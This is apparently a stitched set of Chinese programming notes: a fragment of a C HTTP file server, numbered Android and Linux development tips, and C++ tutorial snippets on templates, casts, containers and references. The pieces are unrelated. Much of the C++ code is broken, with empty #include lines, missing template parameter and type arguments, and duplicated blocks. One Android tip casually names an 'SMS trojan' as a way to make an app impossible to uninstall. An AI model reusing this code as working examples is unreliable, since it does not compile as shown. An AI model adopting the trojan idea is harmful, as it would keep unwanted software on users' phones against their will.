printf("<a href=\"%s\">%-32.32s</a> ???\n", encoded_name, name); else { strftime(timestr, sizeof(timestr), "%d%b%Y %H:%M", localtime(&sb.st_mtime)); printf("<a href=\"%s\">%-32.32s</a> %15s %14lld\n", encoded_name, name, timestr, (int64_t)sb.st_size); } /* *size_t strftime(char *s, size_t max, const char *format, const struct tm *tm); * 将当前系统的绝对时间,按格式输出。 * format以百分号(%)开始的格式命令集合,格式化输出结果放在s中。 * * %d 十进制表示的日期(01~31) * %b 月份英文单词的简写 * %Y 带世纪部分的十进制年份 * %H 24小时制的小时 * %M 十进制表示的分钟数(00~59) */ } /* *出错时,发送错误相应信息,返回出错页面 * *status:错误号 title:错误名 text:错误描述 *extra_header:附加描述(特殊情况302时不退出程序,而直接显示正常页面) */ static void send_error(int status, char* title, char* extra_header, char* text) { send_headers(status, title, extra_header, "text/html", -1, -1); printf("<html><head><title>%d %s</title></head>\n<body bgcolor=\"#cc9999\"><h4>%d %s</h4>\n", status, title, status, title); printf("%s\n", text); printf("<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n", SERVER_URL, SERVER_NAME); fflush(stdout); exit( 1 ); } /* *每个HTTP传送都包含一个首部、一个空行和要发送的数据项。 *Content-Type: 数据项的类型(必选项) *Content-length: 数据项的大小 *Content-Encoding: 数据项使用的编码方式 *Content-Language: 数据项使用的语言 * *首部中的每一行都包含一个关键字、一个冒号和信息。 *e.g. *Content-Type: text/html; charset=iso-8859-1 指明属性的首部 *Content-Length: 508 * 这是一行空行 *<html> 文档内容 </html> 数据项 */ static void send_headers(int status, char* title, char* extra_header, char* mime_type, off_t length, time_t mod) { time_t now; char timebuf[100]; printf("%s %d %s\r\n", PROTOCOL, status, title);//HTTP/1.0 200 OK printf("Server: %s\r\n", SERVER_NAME);//Server: xhttpd now = time((time_t*)0); strftime(timebuf, sizeof(timebuf), FORMAT_DATE, gmtime(&now)); printf("Date: %s\r\n", timebuf); // Date: Fri, 18 Jul 2014 14:34:26 GMT if (extra_header != NULL) printf("%s\r\n", extra_header); if (mime_type != NULL) printf("Content-Type: %s\r\n", mime_type); if (length >= 0) printf("Content-Length: %lld\r\n", (int64_t)length); if (mod != (time_t)-1) { //强转 strftime(timebuf, sizeof(timebuf), FORMAT_DATE, gmtime(&mod)); printf("Last-Modified: %s\r\n", timebuf); } printf("Connection: close\r\n"); printf("\r\n"); } static char *get_mime_type(char *name) { char* dot; dot = strrchr(name, '.'); //自右向左查找‘.’字符;如不存在返回NULL /* *charset=iso-8859-1 西欧的编码,说明网站采用的编码是英文; *charset=gb2312 说明网站采用的编码是简体中文; *charset=utf-8 代表世界通用的语言编码; * 可以用到中文、韩文、日文等世界上所有语言编码上 *charset=euc-kr 说明网站采用的编码是韩文; *charset=big5 说明网站采用的编码是繁体中文; * *以下是依据传递进来的文件名,使用后缀判断是何种文件类型 *将对应的文件类型按照http定义的关键字发送回去 */ if (dot == (char*)0) return "text/plain; charset=iso-8859-1"; if (strcmp(dot, ".html") == 0 || strcmp(dot, ".htm") == 0) return "text/html; charset=iso-8859-1"; if (strcmp(dot, ".jpg") == 0 || strcmp(dot, ".jpeg") == 0) return "image/jpeg"; if (strcmp(dot, ".gif") == 0) return "image/gif"; if (strcmp(dot, ".png") == 0) return "image/png"; if (strcmp(dot, ".css") == 0) return "text/css"; if (strcmp(dot, ".au") == 0) return "audio/basic"; if (strcmp( dot, ".wav") == 0) return "audio/wav"; if (strcmp(dot, ".avi") == 0) return "video/x-msvideo"; if (strcmp(dot, ".mov") == 0 || strcmp(dot, ".qt") == 0) return "video/quicktime"; if (strcmp(dot, ".mpeg") == 0 || strcmp(dot, ".mpe") == 0) return "video/mpeg"; if (strcmp(dot, ".vrml") == 0 || strcmp(dot, ".wrl") == 0) return "model/vrml"; if (strcmp(dot, ".midi") == 0 || strcmp(dot, ".mid") == 0) return "audio/midi"; if (strcmp(dot, ".mp3") == 0) return "audio/mpeg"; if (strcmp(dot, ".ogg") == 0) return "application/ogg"; if (strcmp(dot, ".pac") == 0) return "application/x-ns-proxy-autoconfig"; return "text/plain; charset=iso-8859-1"; } /* * 处理URL中%20之类的东西!是"解码"过程。 * %20 URL编码中的‘ ’(space) * %21 '!' %22 '"' %23 '#' %24 '$' * %25 '%' %26 '&' %27 ''' %28 '('...... * * 相关知识html中的‘ ’(space)是 */ static void strdecode(char *to, char *from) { for ( ; *from != '\0'; ++to, ++from) { if (from[0] == '%' && isxdigit(from[1]) && isxdigit(from[2])) { *to = hexit(from[1])*16 + hexit(from[2]); from += 2;//移过已经处理的两个字符(%21指针指向1),表达式3的++from还会再向后移一个字符 } else *to = *from; } *to = '\0'; } //16进制数转化为10进制, return 0不会出现 static int hexit(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return 0; } //"编码",用作回写浏览器的时候,将除字母数字及/_.-~以外的字符转义后回写。 //strencode(encoded_name, sizeof(encoded_name), name); static void strencode(char* to, size_t tosize, const char* from) { int tolen; for (tolen = 0; *from != '\0' && tolen + 4 < tosize; ++from) { if (isalnum(*from) || strchr("/_.-~", *from) != (char*)0) { *to = *from; ++to; ++tolen; } else { sprintf(to, "%%%02x", (int) *from & 0xff); to += 3; tolen += 3; } } *to = '\0'; }
11. Android手机上运行Linux C程序 在没有Android源代码的前提下,编写LinuxC程序,放到手机上运行。 Android中有bioniC库,提供了c程序运行环境。 永远的hello,world。 #include <stdio.h> void main() { printf("nihao, hello\n"); printf("您好\n"); printf("Wuyq\n"); } 编译:root@bfq:~# arm-none-linux-gnueabi-gcc AndroidC.c -o AndroidC -static 将可执行程序搞到你的手机上。手机或许需要root,自己去尝试吧。 修改权限: 运行看效果: 思考??? ① 手机上面直接编写一个app,app能够去运行我们自己写的demo么? ② 能够将demo搞到android的服务中去,使其开机自动运行?? 12.Linux程序的前后台运行 问题的提出?? Android的源代码通常放到远程服务器上面,我们通过自己的pc使用secureCRT软件连接上远程的服务器,进行编译操作。 编译一次android源代码的时间通常是很久很久的,但是由于网络进行会掉线,导致远程连接的终端中断,使得整个编译过程失败。 由于编译android源代码的程序是在远程的服务器主机上面运行的,而我们本地的pc机器只是充当了一个输入输出设备。 故当网络断开的时候,远程服务器主机上面的程序应该一直存活,不应该关闭的。 验证实验: 写一个c程序,while(1)死循环一直占用着终端窗口。当终端被关闭的时候,查看程序是否还在存活?? void main() { while(1) { printf("I am alive\n"); sleep(1); printf("I want to You!\n"); } } 终端1:./a.out & 终端2:ps -u wuyingqiang 当终端1关闭的时候,再终端2查看,此时a.out 已经死掉了。 结论:前台、后台运行的依托的是终端本身。 看来要解决问题,只能使用守护进程了。 此时带来了一个新的问题,就是为什么这里的tty为?了。因为守护进行已经脱离了终端了。所以为?。那么当我想把这个守护进程搞到前端运行的时候,这个时候应该怎么搞呢?蒙圈了?迷糊了?。。。。。。。。 13.扫描二维码下载安装文件 自己制作的apk,发布到网站http://www.xxx.com/yyy.apk上,通过生成二维码工具制作生成二维码,然后放到网站上面,供用户扫描下载安装。具体制作过程,so easy! 不会的同学请百度。 手机扫描二维码,安装下载没有问题。完美运行。 Pc端通过浏览器访问http://www.xxx.com/yyy.apk网站下载,百度、360浏览器可以下载成apk文件,但是ie浏览器下载的确是zip压缩包,多少有些不爽。 下载完后把扩展名修改成apk就可以了。可是真的很麻烦哎。 找到tomcat/conf/web.xml配置文件。 修改MIME标签 <mime-mapping> <extension>apk</extension> <mime-type>application/vnd.android.package-archive</mime-type> </mime-mapping> 重启服务器,清空ie缓存,解决。 14.如何使得自己制作的apk不能被卸载。 A)有源代码的情况下,直接将apk文件放到out/.../system/app/目录下,重新编译生成镜像文件进行烧写就可。相当于重新刷了一次ROM。 B)如果没有源代码了,只能通过其他的技术手段进行实现。例如,短信木马。 15.定制android系统,不要锁屏界面。 ./frameworks/base/packages/Keyguard/src/com/android/keyguard/KeyguardViewMediator.java文件中的192行改为false private boolean mExternallyEnabled = true; 将true开关量改为false。重新编译源码生成镜像。 16.电路共地问题 经常使用第三方厂家的模块,由于模块一般都是提供一个电源,串口tx,rx,而是的电平是ttl电平,pc机器上的串口是Rs232电平。通常需要借助一个max232芯片进行转换。在使用的过程中,此芯片经常发烫,烧坏。造成数据的不正确。 解决方案:购买了usb-ttl模块。直接安装上驱动即可使用。使用还真是很方便。完美的很。就是先太短了,就先很是费劲,此时找来一根usb延长线,一头公一头母。连上usb延长线,在设备管理器中,能够看到usb-ttl串口号,但是串口助手中,咋也没有数据。后来找来硬件工程师帮忙。将串口的gnd连接上。完美解决问题。 在后期的使用过程中,还需要多多注意这个问题。 17.销售合同的签订 A.先做好电话咨询,了解清楚相关的各种细节。最好在进行电话沟通之前,先把所需要了解的各种问题点,在笔记上做一个简单的总结。 B.电话沟通的过程中,应该仔细听取对方的描述细节。避免主观臆断,进行猜测的行为。 C.合同的范本,各种格式的细节描述,先做到心中有数,再及时进行沟通。 18.Ubuntu64系统制作32位的可执行程序 19.android开发中,应该修改什么值能够使同一个程序在手机中安装多个? 就是同一个程序,修改什么值能够安装多次而不覆盖? 修改包名即可。 Android程序是以包名作为线程名字。 程序中是不允许有两个相同包名的程序的。 例如:将qq.exe重命名为qq1.exe和qq2.exe在一台电脑上进行安装。 改变包名, 和AndroidMainfest.xml文件中的 package="com.wuyq.linearlayout"。 20.Android4.0Ble蓝牙 安卓4.3(API 18)为BLE的核心功能提供平台支持和API,App可以利用它来发现设备、查询服务和读写特性。相比传统的蓝牙,BLE更显著的特点是低功耗。这一优点使android App可以与具有低功耗要求的BLE设备通信,如近距离传感器、心脏速率监视器、健身设备等。 // 使用此检查确定BLE是否支持在设备上,然后你可以有选择性禁用BLE相关的功能 if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_BLUETOOTH_LE)) { Toast.makeText(this, R.string.ble_not_supported, Toast.LENGTH_SHORT).show(); finish(); }
函数包装器管理内嵌函数 #include #include //函数包装器 //第一,设计执行接口,接口设计关卡(),计数 //第二,函数包装器依赖于函数模板,实现通用泛型 //第三,函数代码可以内嵌在另外一个函数,实现函数** //函数包装器,用于管理内嵌函数,外部函数调用 //函数包装器, T数据类型, F是函数 template T run(T v, F f) { static int count = 0; count++;//计数器 std::cout << "run 一个参数的包装器 执行" << count << "次" << std::endl; if (count > 1) { T vx(0); return vx; } return f(v);//函数传入参数 } template T run(T v1, T v2, F f) { return f(v1,v2);//函数传入参数 } void main() { using std::cout; //C++11. namespace,专门引用一个关键字,不需要std using std::endl; using std::function; //using namespace std; using std::cin; double db = 12.9;//double *2 int num1 = 19; int num2 = 29; function fun1 = [](double u) { return u * 2; }; function fun2 = [](double u) { return u*u; }; function fun3 = [](int u1,int u2) { return u1 + u2; }; cout << run(db, fun1) << endl;//调用 cout << run(db, fun2) << endl;//调用 cout << run(num1,num2, fun3) << endl;//调用 cin.get();//等价于你输入一字符getchar; } 函数包装器管理外部函数 #include #include template T run(T v1, T v2, F f) { return f(v1, v2);//函数传入参数 } int cheng(int a, int b) { return a*b; } void main() { using std::cout; //C++11. namespace,专门引用一个关键字,不需要std using std::endl; using std::function; //using namespace std; using std::cin; int num1 = 19; int num2 = 29; function fun4 = cheng; //fun4函数指针 cout << run(num1, num2, fun4) << endl;//调用 cin.get();//等价于你输入一字符getchar; } 函数模板根据类型覆盖 函数模板覆盖 #include //函数模板实现通用,可以根据自有数据类型,进行优化 //结构体没有私有变量可以直接赋值初始化 //所有成员都是公有的类型可以赋值初始化 struct info { char name[40]; double db; int data; }; template void swap(T &a, T &b) { std::cout << "通用函数模板" << std::endl; T temp = a; a = b; b = temp;//交换两个变量 } //模板为空,明确参数类型,覆盖函数模板的类型, void swap(info &info1, info &info2) { std::cout << "特有函数模板" << std::endl; //通用模板可以实现通用,针对自己的数据类型做出优化 info temp = info1; info1 = info2; info2 = temp; } void main() { info info1 = { "yincheng", 20.9, 10 }; info info2 = { "chengyin",9.2, 1 }; swap(info1, info2); std::cout << info1.name << info1.db << info1.data << std::endl; std::cout << info2.name << info2.db << info2.data << std::endl; std::cin.get(); } void main1() { int num1 = 100; int num2 = 10; swap(num1, num2);//实现交换 std::cout << num1 << " " << num2 << std::endl; char ch1 = 'Z'; char ch2 = 'A'; swap(ch1, ch2); std::cout << ch1 << " " << ch2 << std::endl; std::cin.get();//getchar } 处理类的私有 #define _CRT_SECURE_NO_WARNINGS #include #include //函数模板实现通用,可以根据自有数据类型,进行优化 //结构体可以直接赋值(没有私有变量) //所有成员都是公有的类型可以赋值(一开始初始化) //如果类有私有成员变量,不可以用{}初始化 //类的对象之间默认是可以直接赋值 //类,结构体都有一个默认赋值操作= 浅拷贝 ,交换数据 //深拷贝用的最多,函数模板的覆盖 class info { public: char name[40]; char *p; int data; private: int num; public: void set(int X) { this->num = X;//通过接口设置私有变量 } int get() { return this->num;//返回值,副本机制 } }; template void swap(T &a, T &b) { std::cout << "通用函数模板" << std::endl; T temp = a; a = b; b = temp;//交换两个变量 } //模板为空,明确类型, template<> void swap(info &info1, info &info2) { std::cout << "特有函数模板" << std::endl; //通用模板可以实现通用,针对自己的数据类型做出优化 //计数器,对象交换计数器 info temp = info1; info1 = info2; info2 = temp;// } void main() { info info1; info info2; std::strcpy(info1.name, "yincheng"); std::strcpy(info2.name, "chengyin "); info1.data = 102; info2.data = 201;//初始化 info1.p = new char[10]; std::strcpy(info1.p, "**"); //info2.p = nullptr;//C++的空指针 info2.p = new char[100]; std::strcpy(info2.p, "da**"); info1.set(89); info2.set(98); swap(info1, info2); std::cout << info1.name << " "<< info1.data <<" "<CPP类型转换 四种cast #include #include void main1() { double db = 10.9; float fl= db;//默认数据类型转换 std::cin.get(); } void main2() { void *p = new int[10]; int *pint =(int*) p;//C语言风格 } //static_cast<需要转换的数据类型>(要转换的数据)80% static_cast void main3() { //int n = static_cast(78.98); printf("\n%d", 98.87); printf("\n%d",static_cast( 98.87)); printf("\n%f", 98); printf("\n%f", static_cast(98)); int *p = static_cast (malloc(100)); std::cin.get(); } //const int num = 10,可以修改无法生效,编译的时候不读内存 //const int *p指向变量限定权限,只读不可写, //const_cast去掉常量指针属性 %5 void main4() { int num[3] = { 1, 2, 3 }; const int *p = num; std::cout << *p << *(p + 1) << *(p + 2) << std::endl; //*p = 10; //*(p + 1) = 20; int *pnew = const_cast(p); *pnew = 10; std::cin.get(); } //reinterpret_cast %1 专业转换指针,最安全 void main() { //指针。强类型,类型决定了数据的解析方式,内存占多大 int num = 3; char *p = reinterpret_cast(&num); for (int i = 0; i < 4; i++) { printf("%c,%d,%p\n", *(p+i), *(p+i), p+i); } std::cin.get(); } //dynamic_cast 类的指针之间的转换 函数模板重载调用规则 函数模板与普通函数的选择问题 #include //函数模板可以对类型进行优化重载,根据类型会覆盖 //如果仍然要使用模板函数,需要实例化 template T add(T a,T b) { std::cout << " T add" << std::endl; return a + b; } int add(int a, int b) { std::cout << " int add" << std::endl; return a + b; } void main() { int a = 10, b = 20; double db1 = 10.9, db2 = 10.8; add(db1, db2); add(a,b); add(a, b);//进行实例化, std::cin.get(); } 函数可变参数通用类型模板函数 可变参数高级模板 #include #include void showall(){};//预留一个 template void show(T t, ...) { std::cout << t << std::endl; } template void showall(T t, Args...args) { std::cout << t << std::endl; showall( args...); } void main() { int num1 = 10, num2 = 9, num3 = 11; double db1 = 10.8, db2 = 10.9; char str[40] = "yincheng"; char ch = 'A'; show(num1); showall(num2,num3); showall(num2, num3,num1,str,ch); std::cin.get(); } 通用函数可变参数模板 #include //通用可变参数模板 处理不限定个数的参数,处理不同类型 void showall()//空函数,接口,最后结束递归 新版本编译 { } template void showall(const T &value, const Args &...args) { std::cout << value << std::endl; showall(args...);//继续传递 } //设计可以修改原来的数据的 T &value, Args &...args //设计可以修改副本 T value, Args ...args //设计不可以可以改原来的数据不可以修改副本 const T value, const Args ...args //设计引用原来的数据不可以修改 const T &value, const Args &...args void main() { int num1 = 10, num2 = 9, num3 = 11; double db1 = 10.8, db2 = 10.9; char str[40] = "yincheng"; char ch = 'A'; showall(num1); std::cout << "\n\n\n"; showall(num1,num2,num3); std::cout << "\n\n\n"; showall(db1, db2, num1, ch); std::cout << "\n\n\n"; showall(db1, db2, num1, ch,str); std::cin.get(); } cpp新数组 #include #include #include #include void main1() { double db[4] = { 1.1, 2.2, 3.3, 4.4 }; //std::array数据类型,double元素类型,4个数 std::array dbnew1 = { 10.1, 10.2, 10.3, 10.4 }; std::array dbnew2 = dbnew1;//可以实现数组之间整体操作 for (int i = 0; i < 4; i++) { std::cout << db[i] << " " << dbnew1[i]<<" "< string1 = { "calc", "notepad", "tasklist", "mspaint", "write" }; for (int i = 0; i < 5; i++) { std::cout << string1[i] << std::endl; system(string1[i].c_str()); } std::cin.get(); } void main() { std::string str1 = "task"; std::string str2 = "list"; std::string str3 = str1 + str2; system(str3.c_str()); std::cin.get(); } 高级数组array_vector #include #include #include//C++的标准库 #include//C++字符串 using std::array;//静态数组,栈上, using std::vector;//动态数组,堆上, using std::string; //使用C++风格数组不需要管理内存。 //array注意不要栈溢出 //array适用于任何类型 void main1() { // array myint = { 1, 2, 3, 4, 5 }; array myint1; vector myvector; //动态数组 for (int i = 0; i < 1024 * 1024; i++) { myvector.push_back(i);// } std::cin.get(); } void main2() { array myint1 = { 1, 2, 3, 4, 5 }; array myint2 = { 11, 12, 13, 14, 15 }; array myint3 = { 21, 22, 23, 24, 25 }; // array, 3> myint = {myint1,myint2,myint3}; array, 3> myint = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }; for (int i = 0; i < myint.size();i++)//数组大小 { for (int j = 0; j < myint1.size(); j++) { std::cout << " "< string1;//动态字符串数组 //可以反复利用 string1.push_back("notepad"); string1.push_back("calc"); string1.push_back("mspaint"); string1.pop_back();//删除一个 //string1.clear();//清空 for (int i = 0; i < string1.size(); i++)//遍历动态数组 { //system(string1[i].c_str()); } } void main5() { vector string1;//动态字符串数组 string1.push_back("notepad"); string1.push_back("calc"); string1.push_back("mspaint"); vector::iterator ibegin, iend;//迭代器 ibegin = string1.begin();//数据起始点 iend = string1.end();//结束 for (;ibegin!=iend;ibegin++) { string tempstr = *ibegin;//获取指针指向的数据 system(tempstr.c_str());//执行指令 } } void main6() { array myint = { 1, 2, 3, 4, 5 }; array::iterator ibegin, iend;//正向迭代器 ibegin = myint.begin(); iend = myint.end(); while (ibegin!=iend) { std::cout << *ibegin << std::endl; ibegin++; } array::reverse_iterator rbegin, rend; rbegin = myint.rbegin(); rend = myint.rend(); while (rbegin!=rend) { std::cout << *rbegin << std::endl; rbegin++; } std::cin.get(); } void main7() { vector string1;//动态字符串数组 string1.push_back("notepad"); string1.push_back("calc"); string1.push_back("mspaint"); //反向迭代器 vector::reverse_iterator rbegin = string1.rbegin(); vector::reverse_iterator rend = string1.rend(); //rend--;rend最后不指向数据,指向数据的结尾的下一个节点 A: if (rbegin!=rend) { system((*rend).c_str());//执行指令 //rbegin++; rend--; goto A; } } Lambda [ret](int x){xxx;} 高级表达式以及增删查改 #include #include #include//算法 lambda表达式,不仅仅适用与array ,也适用于vector void main1() { std::vector myvector; myvector.push_back(11); myvector.push_back(22); myvector.push_back(33); myvector.push_back(3); myvector.push_back(4); myvector.push_back(5); int res=0;//结果 //&res直接操作一个变量,res等价于返回值,x代表参数,每次充当迭代器指向的元素,大括号就是代码 std::for_each(myvector.begin(), myvector.end(), [&res](int x){res += x; }); std::cout << res; std::cin.get(); } void main() { std::vector myvector(5);//分配5个空间,默认初始化为0 myvector.push_back(1);//增 myvector.push_back(11); myvector.push_back(111); myvector.push_back(1111); myvector.push_back(2); myvector.pop_back();//弹出一个元素,删除最后一个 myvector.insert(myvector.begin() +1, 999);//插入, myvector.erase(myvector.begin()+5);//根据迭代器的位置 //myvector.clear();//删除所有元素 for (int i = 0; i < myvector.size(); i++) { if (1) { //查询,修改 } std::cout << myvector.at(i) << std::endl; } system("pause"); } void main123123() { //可以实现动态无规则数组管理 std::vector myvetor1; myvetor1.push_back(12); myvetor1.push_back(13); myvetor1.push_back(14); std::vector myvetor2; myvetor2.push_back(22); std::vector myvetor3; myvetor3.push_back(32); myvetor3.push_back(37); std::vector> allvecor; allvecor.push_back(myvetor1); allvecor.push_back(myvetor2); allvecor.push_back(myvetor3); for (int i = 0; i < allvecor.size(); i++) { for (int j = 0; j < allvecor[i].size(); j++) { std::cout <<" "<< allvecor[i][j]; } std::cout << "\n"; } std::cin.get(); } 动态不规则数组以及增删查改 #include #include #include//C++的标准库 #include//C++字符串 using std::array;//静态数组,栈上, using std::vector;//动态数组,堆上, using std::string; //使用C++风格数组不需要管理内存。 //array注意不要栈溢出 //array适用于任何类型 void main1() { array myint = { 1, 2, 3, 4, 5 }; array myint1; vector myvector; //动态数组 for (int i = 0; i < 1024 * 1024; i++) { myvector.push_back(i);// } std::cin.get(); } void main2() { array myint1 = { 1, 2, 3, 4, 5 }; array myint2 = { 11, 12, 13, 14, 15 }; array myint3 = { 21, 22, 23, 24, 25 }; // array, 3> myint = {myint1,myint2,myint3}; array, 3> myint = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }; for (int i = 0; i < myint.size();i++)//数组大小 { for (int j = 0; j < myint1.size(); j++) { std::cout << " "< string1;//动态字符串数组 //可以反复利用 string1.push_back("notepad"); string1.push_back("calc"); string1.push_back("mspaint"); string1.pop_back();//删除一个 //string1.clear();//清空 for (int i = 0; i < string1.size(); i++)//遍历动态数组 { //system(string1[i].c_str()); } } void main5() { vector string1;//动态字符串数组 string1.push_back("notepad"); string1.push_back("calc"); string1.push_back("mspaint"); vector::iterator ibegin, iend;//迭代器 ibegin = string1.begin();//数据起始点 iend = string1.end();//结束 for (;ibegin!=iend;ibegin++) { string tempstr = *ibegin;//获取指针指向的数据 system(tempstr.c_str());//执行指令 } } void main6() { array myint = { 1, 2, 3, 4, 5 }; array::iterator ibegin, iend;//正向迭代器 ibegin = myint.begin(); iend = myint.end(); while (ibegin!=iend) { std::cout << *ibegin << std::endl; ibegin++; } array::reverse_iterator rbegin, rend; rbegin = myint.rbegin(); rend = myint.rend(); while (rbegin!=rend) { std::cout << *rbegin << std::endl; rbegin++; } std::cin.get(); } void main7() { vector string1;//动态字符串数组 string1.push_back("notepad"); string1.push_back("calc"); string1.push_back("mspaint"); //反向迭代器 vector::reverse_iterator rbegin = string1.rbegin(); vector::reverse_iterator rend = string1.rend(); //rend--;rend最后不指向数据,指向数据的结尾的下一个节点 A: if (rbegin!=rend) { system((*rend).c_str());//执行指令 //rbegin++; rend--; goto A; } } 动态数组任意位置插入 #include #include #include//算法 lambda表达式,不仅仅适用与array ,也适用于vector void main1() { std::vector myvector; myvector.push_back(11); myvector.push_back(22); myvector.push_back(33); myvector.push_back(3); myvector.push_back(4); myvector.push_back(5); int res=0;//结果 //&res直接操作一个变量,res等价于返回值,x代表参数,每次充当迭代器指向的元素,大括号就是代码 std::for_each(myvector.begin(), myvector.end(), [&res](int x){res += x; }); std::cout << res; std::cin.get(); } void main() { std::vector myvector(5);//分配5个空间,默认初始化为0 myvector.push_back(1);//增 myvector.push_back(11); myvector.push_back(111); myvector.push_back(1111); myvector.push_back(2); myvector.pop_back();//弹出一个元素,删除最后一个 myvector.insert(myvector.begin() +1, 999);//插入, myvector.erase(myvector.begin()+5);//根据迭代器的位置 //myvector.clear();//删除所有元素 for (int i = 0; i < myvector.size(); i++) { if (1) { //查询,修改 } std::cout << myvector.at(i) << std::endl; } system("pause"); } 多元数组 tuple #include #include //多元数组 //tuple必须是一个静态数组, //配合vector, array void main(void)//void在参数内部意味着参数为空,不写也意味着为空 { int int1 = 10; double double1 = 99.8; char ch = 'A'; char *str = "hellochina"; std::tuple mytuple(int1, double1, ch, str); const int num = 3; auto data0 = std::get<0>(mytuple); auto data1 = std::get<1>(mytuple); auto data2 = std::get<2>(mytuple); auto data3 = std::get(mytuple);//下标只能是常量 std::cout <限定区域分配内存的语法 #include #include const int buf(512);//限定一个常量整数512 int N(5);//数组的长度 char buffer[buf] = {0};//静态区 //p1,p3,p5作为指针变量在栈区,存储的地址指向堆区 //手动释放内存 //p2,p4,p6作为指针变量在栈区,存储的地址在静态区。缓冲区。 //自动释放内存,用于分配用完了就不会再用的数据 //避免内存泄漏,自动释放内存。牺牲了内存访问独立性, using namespace std; void main() { double *p1, *p2; std::cout << "\n\n\n"; p1 = new double[N];//分配内存,N个元素的大小 p2 = new (buffer)double[N];//指定区域分配内存 for (int i = 0; i < N; i++) { p1[i] = p2[i] = i + 10.8;//对于数组初始化 std::cout << "p1=== " << &p1[i] << " " << p1[i]; std::cout << " p2=== " << &p2[i] << " " << p2[i] << std::endl; } double *p3, *p4; std::cout << "\n\n\n"; p3 = new double[N];//分配内存,N个元素的大小 p4 = new (buffer)double[N];//指定区域分配内存 for (int i = 0; i < N; i++) { p3[i] = p4[i] = i + 10.8 ;//对于数组初始化 std::cout << "p3=== " << &p3[i] << " " << p3[i]; std::cout << " p4=== " << &p4[i] << " " << p4[i] << std::endl; } double *p5, *p6; std::cout << "\n\n\n"; p5 = new double[N];//分配内存,N个元素的大小 p6 = new (buffer)double[N];//指定区域分配内存 for (int i = 0; i < N; i++) { p6[i] = p5[i] = i + 10.8;//对于数组初始化 std::cout << "p5=== " << &p5[i] << " " << p5[i]; std::cout << " p6=== " << &p6[i] << " " << p6[i] << std::endl; } std::cin.get(); } 函数模板重载 #include #include using std::array; template void showarray(array myarray,int n) { using namespace std; cout << "TTTTT" << endl; for (int i = 0; i < n;i++) { cout << myarray[i] <<" "; } cout << endl; } template void showarray(array myarray, int n) { using namespace std; cout << "T*T*T*T*T*" << endl; for (int i = 0; i < n; i++) { cout << *myarray[i] << " "; } cout << endl; } void main() { array intarray = { 1, 2, 3, 4, 5,6,7,8,9,10 }; array pintarray ; for (int i = 0; i < 10; i++) { pintarray[i] = &intarray[i]; } array ppintarray; for (int i = 0; i < 10; i++) { ppintarray[i] = &pintarray[i]; } showarray(intarray, 10); showarray(pintarray, 10); showarray(ppintarray, 10); std::cin.get(); }
引用高级、引用高级增加 #include<iostream> #include<stdlib.h> // int a[10] // int (&ra)[10] // int a[2][5] // int (&ra)[2][5] void main1() { int a[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; int(&ra)[10](a);//引用就是给原来的变量有一个别名同一个地址 int i = 0; for (auto data: ra)//C++11的循环 { data = i + 5; std::cout << data << std::endl; } std::cout << a << ra << std::endl; std::cout << &a << &ra << std::endl; system("pause"); } void main2() { int a[2][5] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; int(&ra)[2][5](a);//引用就是给原来的变量有一个别名同一个地址 for (int i = 0; i < 2; i++) { for (int j = 0; j < 5; j++) { std::cout << " " << ra[i][j]; } std::cout << "\n"; } std::cout << a << ra << std::endl; std::cout << &a << &ra << std::endl; system("pause"); } int jia(int a, int b) { return a + b; } int jian(int a, int b) { return a - b; } void change(int(* & rp)(int,int)) { rp = jian; } void main3() { int(* p)(int a, int b)(jia); std::cout << p(1, 2) << std::endl; //int(*&rp)(int a, int b)(p);//引用函数指针 //rp=jian;//()仅仅适用于初始化 change(p); std::cout << p(1, 2) << std::endl; system("pause"); } int(*& changep(int (*&rp)(int,int)))(int, int) { rp = jian; return rp; } void main4() { int(*p)(int a, int b)(jia); std::cout << p(1, 2) << std::endl; p = changep(p); std::cout << p(1, 2) << std::endl; system("pause"); } void main5() { //int *p[4]; int a = 1, b = 2, c = 3; int *px[3] = { &a, &b, &c }; //int && p [4] = {a,b,c }; //引用数组是非法的 } struct mystr { int b; double a; char c; //代码区的函数不计入结构体的sizeof void go() { std::cout << "123456789" << std::endl; } }; class MyClass { char & a; char & b; char & c;//引用的本质是指针,直接sizeof引用,就是求引用的数据大小 //引用变量占据4个字节 }; void main6() { int num = 10; int & rnum(num); double db = 10.9; double & rdb(db);//直接作用引用的变量 std::cout << sizeof(rnum) << std::endl; std::cout << sizeof(rdb) << std::endl; std::cout << sizeof(MyClass) << std::endl; system("pause"); } int getdata(int && num)//右值引用,节约内存拷贝,内存优化所必须 { std::cout << num << std::endl; num += 10; return num; } void main7() { int a = 5; int b = 4; std::cout << getdata(a+1) << std::endl; system("pause"); } //左值,一般可以取地址就是左值 //右值某些情况可以,某些情况不可以 void main8() { int a = 3; int b = a + 1;//右值->左值 std::cout << getdata(std::move(a) ) << std::endl; //std::move将左值转换为右值,C++11 } void main9() { //const int num(6); char str[10]("hello");//限定字符串不被修改 const char *pc(str);//指向常量的指针限定了指向的数据无法修改,+1,+2,+3 str[3] = 'x';//可以, //pc[3] = 'y'; //*(pc + 3) = 'y'; pc = "world"; system("pause"); } void main10() { char str[10]("hello"); const char(&rstr)[10](str);//常量引用 const char(&rrstr)[10](rstr);//引用可以给另一个引用初始化 str[4] = 'X'; //rstr[4] = 'Y'; } void main11() { int(*p)(int a, int b)(jia); std::cout << p(1, 2) << std::endl; int(* const &rp)(int a, int b)(p);//引用函数指针 //rp=jian;//()仅仅适用于初始化 } auto自动变量自动根据类型创建数据 #include <iostream> #include<stdlib.h> void main() { double db = 10.9; double *pdb = &db; auto num = pdb;//通用传入接口 std::cout << typeid(db).name() << std::endl; std::cout << typeid(num).name() << std::endl; std::cout << typeid(pdb).name() << std::endl; //typeid(db).name() db2; decltype(db) numA(10.9);//通用的备份接口 std::cout << sizeof(numA) <<" "<< numA << std::endl; system("pause"); } Bool #include<iostream> #include<stdlib.h> void main() { bool bl = (1 && 1) || 2 || (-1 && 0); std::cout << typeid(bl).name() << std::endl; std::cout << bl << std::endl; decltype(bl) bt(1 + 2 * 3 - 4 && 3 + 2 || -1); std::cout << bt << std::endl; system("pause"); } Enum 